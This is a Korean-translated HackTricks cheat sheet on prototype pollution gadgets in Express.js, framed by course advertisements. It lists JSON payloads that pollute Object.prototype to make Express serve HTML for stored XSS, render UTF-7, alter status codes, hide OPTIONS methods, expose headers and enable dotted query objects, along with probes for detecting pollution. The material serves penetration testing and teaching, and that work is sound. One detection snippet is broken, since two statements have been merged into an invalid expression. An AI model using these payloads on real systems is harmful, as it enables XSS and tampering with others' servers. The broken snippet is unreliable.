Express Prototype Pollution Gadgets

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

XSS 응닡 제곡

μžμ„Έν•œ λ‚΄μš©μ€ 원본 연ꡬλ₯Ό μ°Έμ‘°ν•˜μ„Έμš”

JSON μ½˜ν…μΈ  μœ ν˜•μ„ HTML둜 λ³€κ²½

Express μ•±μ—μ„œ JSON μ½˜ν…μΈ  μœ ν˜• 응닡을 μ‚¬μš©ν•˜κ³  JSON을 λ°˜μ˜ν•  λ•Œ:

app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

이 경우 JSON μ½˜ν…μΈ  μœ ν˜•μœΌλ‘œ XSSλŠ” 일반적으둜 λΆˆκ°€λŠ₯ν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ ν”„λ‘œν† νƒ€μž… μ˜€μ—Όμ„ 톡해 μš°λ¦¬λŠ” Expressκ°€ HTML 응닡을 μ œκ³΅ν•˜λ„λ‘ ν˜Όλž€μŠ€λŸ½κ²Œ λ§Œλ“€ 수 μžˆμŠ΅λ‹ˆλ‹€. 이 취약점은 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ΄ **res.send(obj)**λ₯Ό μ‚¬μš©ν•˜κ³  application/json μ½˜ν…μΈ  μœ ν˜•μœΌλ‘œ λ³Έλ¬Έ νŒŒμ„œλ₯Ό μ‚¬μš©ν•˜λŠ” 데 μ˜μ‘΄ν•©λ‹ˆλ‹€.

{ "__proto__": { "_body": true, "body": "<script>evil()" } }

body 및 _body 속성을 μ˜€μ—Όμ‹œν‚΄μœΌλ‘œμ¨, Expressκ°€ HTML μ½˜ν…μΈ  μœ ν˜•μ„ μ œκ³΅ν•˜κ³  _body 속성을 λ°˜μ˜ν•˜κ²Œ ν•  수 있으며, 이둜 인해 μ €μž₯된 XSSκ°€ λ°œμƒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

UTF7 λ Œλ”λ§

Expressκ°€ UTF-7 μ½˜ν…μΈ λ₯Ό λ Œλ”λ§ν•˜λ„λ‘ λ§Œλ“€ 수 μžˆμŠ΅λ‹ˆλ‹€:

{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

μ•ˆμ „ν•œ μŠ€μΊλ‹ 기술

JSON 곡백

λ‹€μŒ PPλŠ” JSON λ‚΄λΆ€μ˜ 속성에 μΆ”κ°€ 곡백을 μΆ”κ°€ν•˜μ—¬ κΈ°λŠ₯이 μ†μƒλ˜μ§€ μ•Šλ„λ‘ ν•©λ‹ˆλ‹€:

{ "__proto__": { "json spaces": " " } }

그럼 λ°˜μ‚¬λœ JSON은 λ‹€μŒκ³Ό 같이 λ³΄μž…λ‹ˆλ‹€:

{"foo":  "bar"} -- Note the extra space

λ…ΈμΆœλœ 헀더

λ‹€μŒ PP 가젯은 μ„œλ²„κ°€ HTTP 헀더λ₯Ό λ°˜ν™˜ν•˜λ„λ‘ ν•©λ‹ˆλ‹€: Access-Control-Expose_headers: foo

{ "__proto__": { "exposedHeaders": ["foo"] } }

CORS λͺ¨λ“ˆμ΄ μ„€μΉ˜λ˜μ–΄ μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€

OPTIONS λ©”μ„œλ“œ

λ‹€μŒ νŽ˜μ΄λ‘œλ“œλ₯Ό μ‚¬μš©ν•˜λ©΄ OPTIONS μ‘λ‹΅μ—μ„œ λ©”μ„œλ“œλ₯Ό 숨길 수 μžˆμŠ΅λ‹ˆλ‹€:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

μƒνƒœ

λ‹€μŒ PP νŽ˜μ΄λ‘œλ“œλ₯Ό μ‚¬μš©ν•˜μ—¬ λ°˜ν™˜λœ μƒνƒœ μ½”λ“œλ₯Ό λ³€κ²½ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

{ "__proto__": { "status": 510 } }

였λ₯˜

μ›μ‹œ κ°’(예: λ¬Έμžμ—΄)으둜 ν”„λ‘œν† νƒ€μž…μ— ν• λ‹Ήν•˜λ©΄ ν”„λ‘œν† νƒ€μž…μ€ 객체여야 ν•˜λ―€λ‘œ no-op μž‘μ—…μ΄ λ°œμƒν•©λ‹ˆλ‹€. Object.prototype μžμ²΄μ— ν”„λ‘œν† νƒ€μž… 객체λ₯Ό ν• λ‹Ήν•˜λ €κ³  ν•˜λ©΄ μ˜ˆμ™Έκ°€ λ°œμƒν•©λ‹ˆλ‹€. μš°λ¦¬λŠ” 이 두 κ°€μ§€ λ™μž‘μ„ μ‚¬μš©ν•˜μ—¬ ν”„λ‘œν† νƒ€μž… μ˜€μ—Όμ΄ μ„±κ³΅ν–ˆλŠ”μ§€ 감지할 수 μžˆμŠ΅λ‹ˆλ‹€:

;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Reflected Value

μ‘μš© ν”„λ‘œκ·Έλž¨μ΄ 응닡에 객체λ₯Ό 포함할 λ•Œ, __proto__와 ν•¨κ»˜ 비정상적인 μ΄λ¦„μ˜ 속성을 μƒμ„±ν•˜λŠ” 것은 μœ μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 특히, 응닡에 비정상적인 μ†μ„±λ§Œ λ°˜ν™˜λ˜λŠ” 경우 μ΄λŠ” μ‘μš© ν”„λ‘œκ·Έλž¨μ˜ 취약점을 λ‚˜νƒ€λ‚Ό 수 μžˆμŠ΅λ‹ˆλ‹€:

{ "unusualName": "value", "__proto__": "test" }

λ˜ν•œ Lodash와 같은 λΌμ΄λΈŒλŸ¬λ¦¬κ°€ μ‚¬μš©λ˜λŠ” μ‹œλ‚˜λ¦¬μ˜€μ—μ„œλŠ” ν”„λ‘œν† νƒ€μž… μ˜€μ—Ό(PP)을 톡해 속성을 μ„€μ •ν•˜λŠ” 것과 객체 λ‚΄λΆ€μ—μ„œ 직접 μ„€μ •ν•˜λŠ” 것이 또 λ‹€λ₯Έ 진단 μ ‘κ·Ό 방식을 μ œκ³΅ν•©λ‹ˆλ‹€. λ§Œμ•½ μ΄λŸ¬ν•œ 속성이 μ‘λ‹΅μ—μ„œ μƒλž΅λœλ‹€λ©΄, μ΄λŠ” Lodashκ°€ λ³‘ν•©ν•˜κΈ° 전에 λŒ€μƒ κ°μ²΄μ—μ„œ μ†μ„±μ˜ 쑴재λ₯Ό ν™•μΈν•˜κ³  μžˆμŒμ„ μ‹œμ‚¬ν•©λ‹ˆλ‹€.

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Allow Dots

Expressμ—λŠ” 쿼리 λ¬Έμžμ—΄ λ§€κ°œλ³€μˆ˜μ—μ„œ 객체λ₯Ό 생성할 수 μžˆλŠ” μ˜΅μ…˜μ΄ μžˆμŠ΅λ‹ˆλ‹€.
이것은 ν”„λ‘œν† νƒ€μž… μ˜€μ—Ό 취약점을 μ•…μš©ν•˜κΈ° μœ„ν•œ 버그 μ²΄μΈμ—μ„œ ν™•μ‹€νžˆ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

{ "__proto__": { "allowDots": true } }

?foo.bar=bazλŠ” Nodeμ—μ„œ 객체λ₯Ό μƒμ„±ν•©λ‹ˆλ‹€.

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°